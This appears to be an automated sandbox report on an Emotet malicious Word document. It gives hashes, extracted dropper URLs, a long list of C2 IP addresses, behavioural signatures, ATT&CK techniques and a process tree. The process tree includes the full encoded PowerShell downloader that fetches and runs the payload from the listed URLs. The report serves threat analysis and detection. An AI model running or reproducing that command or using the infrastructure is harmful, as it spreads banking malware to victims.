emotet | f4a1c1efb7093c25364d501dddf8dac96dccf05f85d85d2947f5a5d2a687280d

General

Target
emotet_e2_f4a1c1efb7093c25364d501dddf8dac96dccf05f85d85d2947f5a5d2a687280d_2020-08-12__014137._doc.doc
Size 229KB
Sample200812-fdqdbmmyvx
SHA256 f4a1c1efb7093c25364d501dddf8dac96dccf05f85d85d2947f5a5d2a687280d
MD5 cb8c4bab8026ef42d4486f5b36b7de16
SHA1 3894a9c06e414bb27772df7e6bf4f9ddbd35e2a7
SHA512 22968add04f8b63296c1cffc5d3aeee0999a21f66b32f5465c0735651a55b7d1135ff0293e78cb0f6b52a7b2212c558d5ea70594a97edbcbdaf36c26857beeb1
MD5 SHA1 SHA512

Score

10^/10

trojan banker emotet

Malware Config

Extracted

Language

ps1

Source

URLs

exe.dropper
https://cakejess.vn/wp-admin/t_q_scc13mmnz/
exe.dropper
http://gizmotable.com/qytjn/yjxc_5x_3w/
exe.dropper
https://eyezen.es/sites/bif_6_j3bov/
exe.dropper
http://instalasi.ndrotech.com/admin/tc74o_g_om/
exe.dropper
http://demo.bihongobd.com/wp-admin/2h13l_xv_q92zm72mil/

Extracted

Family

emotet

C2

107.185.211.16:80
96.8.113.4:8080
153.126.210.205:7080
47.146.117.214:80
104.131.44.150:8080
169.239.182.217:8080
95.179.229.244:8080
209.182.216.177:443
209.141.54.221:8080
5.196.74.210:8080
72.12.127.184:443
104.131.11.150:443
200.55.243.138:8080
116.203.32.252:8080
142.105.151.124:443
81.2.235.111:8080
74.120.55.163:80
167.86.90.214:8080
87.106.139.101:8080
37.139.21.175:8080
189.212.199.126:443
103.86.49.11:8080
203.153.216.189:7080
181.211.11.242:80
37.187.72.193:8080
41.60.200.34:80
139.130.242.43:80
181.230.116.163:80
109.74.5.95:8080
121.124.124.40:7080
114.146.222.200:80
157.245.99.39:8080
76.27.179.47:80
62.138.26.28:8080
24.43.99.75:80
93.51.50.171:8080
157.147.76.151:80
83.110.223.58:443
46.105.131.79:8080
119.198.40.179:80
79.98.24.39:8080
176.111.60.55:8080
190.160.53.126:80
183.101.175.193:80
104.236.246.93:8080
5.39.91.110:7080
74.208.45.104:8080
24.179.13.119:80
78.24.219.147:8080
50.116.86.205:8080
200.41.121.90:80
190.55.181.54:443
201.173.217.124:443
85.152.162.105:80
137.59.187.107:8080
152.168.248.128:443
95.213.236.64:8080
222.214.218.37:4143
47.146.32.175:80
110.145.77.103:80
70.167.215.250:8080
173.62.217.22:443
47.144.21.12:443
165.165.171.160:8080
62.75.141.82:80
47.153.182.47:80
87.106.136.232:8080
113.160.130.116:8443
185.94.252.104:443
168.235.67.138:7080
91.211.88.52:7080
204.197.146.48:80
180.92.239.110:8080
61.19.246.238:443
139.59.60.244:8080

rsa_pubkey.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3816	396	powersheLL.exe	67

Emotet Payload 4 IoCs

Detects Emotet payload in memory.

resource	yara_rule
behavioral2/memory/2184-14-0x0000000000B60000-0x0000000000B6C000-memory.dmp	emotet
behavioral2/memory/2184-14-0x0000000000B60000-0x0000000000B6C000-memory.dmp	emotet
behavioral2/memory/2128-17-0x00000000004B0000-0x00000000004BC000-memory.dmp	emotet
behavioral2/memory/2128-17-0x00000000004B0000-0x00000000004BC000-memory.dmp	emotet

Blacklisted process makes network request 1 IoCs

flow	pid	Process
18	3816	powersheLL.exe

Executes dropped EXE 2 IoCs

pid	Process
2184	113.exe
2128	InkObjCore.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\KBDIULAT\InkObjCore.exe	113.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
3056	WINWORD.EXE
3056	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 7 IoCs

pid	Process
3816	powersheLL.exe
3816	powersheLL.exe
3816	powersheLL.exe
2128	InkObjCore.exe
2128	InkObjCore.exe
2128	InkObjCore.exe
2128	InkObjCore.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	3816	powersheLL.exe

Suspicious use of SetWindowsHookEx 13 IoCs

pid	Process
3056	WINWORD.EXE
3056	WINWORD.EXE
3056	WINWORD.EXE
3056	WINWORD.EXE
3056	WINWORD.EXE
3056	WINWORD.EXE
3056	WINWORD.EXE
3056	WINWORD.EXE
3056	WINWORD.EXE
2184	113.exe
2184	113.exe
2128	InkObjCore.exe
2128	InkObjCore.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 2184 wrote to memory of 2128	2184	113.exe	77
PID 2184 wrote to memory of 2128	2184	113.exe	77
PID 2184 wrote to memory of 2128	2184	113.exe	77

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e2_f4a1c1efb7093c25364d501dddf8dac96dccf05f85d85d2947f5a5d2a687280d_2020-08-12__014137._doc.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:3056

C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
powersheLL -e JABHAEsAVQBYAFYAcwB5AHQAPQAnAFcATgBRAFoAWgBiAGEAawAnADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBzAEUAYwB1AFIAYABpAGAAVABZAFAAcgBvAGAAVABgAE8AQwBgAE8AbAAiACAAPQAgACcAdABsAHMAMQAyACwAIAB0AGwAcwAxADEALAAgAHQAbABzACcAOwAkAEEAVABEAFUASgBmAHkAdwAgAD0AIAAnADEAMQAzACcAOwAkAEoAVwBZAFcAQQBzAHYAYgA9ACcATgBPAEEASABPAHQAcwBjACcAOwAkAFgAQgBEAEcAQwBmAHIAaQA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAnAFwAJwArACQAQQBUAEQAVQBKAGYAeQB3ACsAJwAuAGUAeABlACcAOwAkAEEARwBLAEgASQBnAHYAdQA9ACcAQgBVAEMAVQBaAGMAdABuACcAOwAkAFQAQgBFAFgATgB3AGkAZQA9ACYAKAAnAG4AJwArACcAZQB3AC0AbwBiACcAKwAnAGoAZQBjAHQAJwApACAAbgBlAHQALgBXAGUAQgBDAEwASQBFAG4AVAA7ACQAUABZAEQATwBJAHoAdgB1AD0AJwBoAHQAdABwAHMAOgAvAC8AYwBhAGsAZQBqAGUAcwBzAC4AdgBuAC8AdwBwAC0AYQBkAG0AaQBuAC8AdABfAHEAXwBzAGMAYwAxADMAbQBtAG4AegAvACoAaAB0AHQAcAA6AC8ALwBnAGkAegBtAG8AdABhAGIAbABlAC4AYwBvAG0ALwBxAHkAdABqAG4ALwB5AGoAeABjAF8ANQB4AF8AMwB3AC8AKgBoAHQAdABwAHMAOgAvAC8AZQB5AGUAegBlAG4ALgBlAHMALwBzAGkAdABlAHMALwBiAGkAZgBfADYAXwBqADMAYgBvAHYALwAqAGgAdAB0AHAAOgAvAC8AaQBuAHMAdABhAGwAYQBzAGkALgBuAGQAcgBvAHQAZQBjAGgALgBjAG8AbQAvAGEAZABtAGkAbgAvAHQAYwA3ADQAbwBfAGcAXwBvAG0ALwAqAGgAdAB0AHAAOgAvAC8AZABlAG0AbwAuAGIAaQBoAG8AbgBnAG8AYgBkAC4AYwBvAG0ALwB3AHAALQBhAGQAbQBpAG4ALwAyAGgAMQAzAGwAXwB4AHYAXwBxADkAMgB6AG0ANwAyAG0AaQBsAC8AJwAuACIAUwBQAEwAYABpAFQAIgAoAFsAYwBoAGEAcgBdADQAMgApADsAJABIAE4AVQBFAEEAcgB3AGYAPQAnAFcARgBCAEYARwB6AHkAawAnADsAZgBvAHIAZQBhAGMAaAAoACQASQBZAEYARwBMAGYAeQBtACAAaQBuACAAJABQAFkARABPAEkAegB2AHUAKQB7AHQAcgB5AHsAJABUAEIARQBYAE4AdwBpAGUALgAiAGQAbwB3AG4AbABPAGEARABmAGAAaQBgAEwARQAiACgAJABJAFkARgBHAEwAZgB5AG0ALAAgACQAWABCAEQARwBDAGYAcgBpACkAOwAkAFQAQgBOAFIAQgBmAGIAdAA9ACcAQQBUAFAAWABPAGIAZABrACcAOwBJAGYAIAAoACgAJgAoACcARwBlACcAKwAnAHQALQBJAHQAJwArACcAZQBtACcAKQAgACQAWABCAEQARwBDAGYAcgBpACkALgAiAEwAZQBOAGAARwB0AEgAIgAgAC0AZwBlACAAMwAxADEANgAzACkAIAB7ACgAWwB3AG0AaQBjAGwAYQBzAHMAXQAnAHcAaQBuADMAMgBfAFAAcgBvAGMAZQBzAHMAJwApAC4AIgBDAHIAZQBgAEEAVABFACIAKAAkAFgAQgBEAEcAQwBmAHIAaQApADsAJABWAEcAUwBMAEQAdwB6AG8APQAnAFYATwBDAFcAUABnAHoAbQAnADsAYgByAGUAYQBrADsAJABRAE0ATwBEAEcAbAB3AG0APQAnAFkAUgBBAEMAVgBrAHEAbwAnAH0AfQBjAGEAdABjAGgAewB9AH0AJABCAFEASwBWAEIAcgBsAHgAPQAnAFgAWABBAFEATwBvAGEAdQAnAA==
1⤵
- Process spawned unexpected child process
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3816

C:\Users\Admin\113.exe
C:\Users\Admin\113.exe
1⤵
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2184
- C:\Windows\SysWOW64\KBDIULAT\InkObjCore.exe
  "C:\Windows\SysWOW64\KBDIULAT\InkObjCore.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of SetWindowsHookEx
  PID:2128

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/2128-17-0x00000000004B0000-0x00000000004BC000-memory.dmp

Download

memory/2184-14-0x0000000000B60000-0x0000000000B6C000-memory.dmp

Download

memory/3056-0-0x00007FFFE13A0000-0x00007FFFE1A66000-memory.dmp

Download

memory/3056-6-0x00000287C79F8000-0x00000287C7A62000-memory.dmp

Download

memory/3816-9-0x00007FFFD9310000-0x00007FFFD9CFC000-memory.dmp

Download

memory/3816-10-0x00000217EE730000-0x00000217EE731000-memory.dmp

Download

memory/3816-11-0x00000217EE9F0000-0x00000217EE9F1000-memory.dmp

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads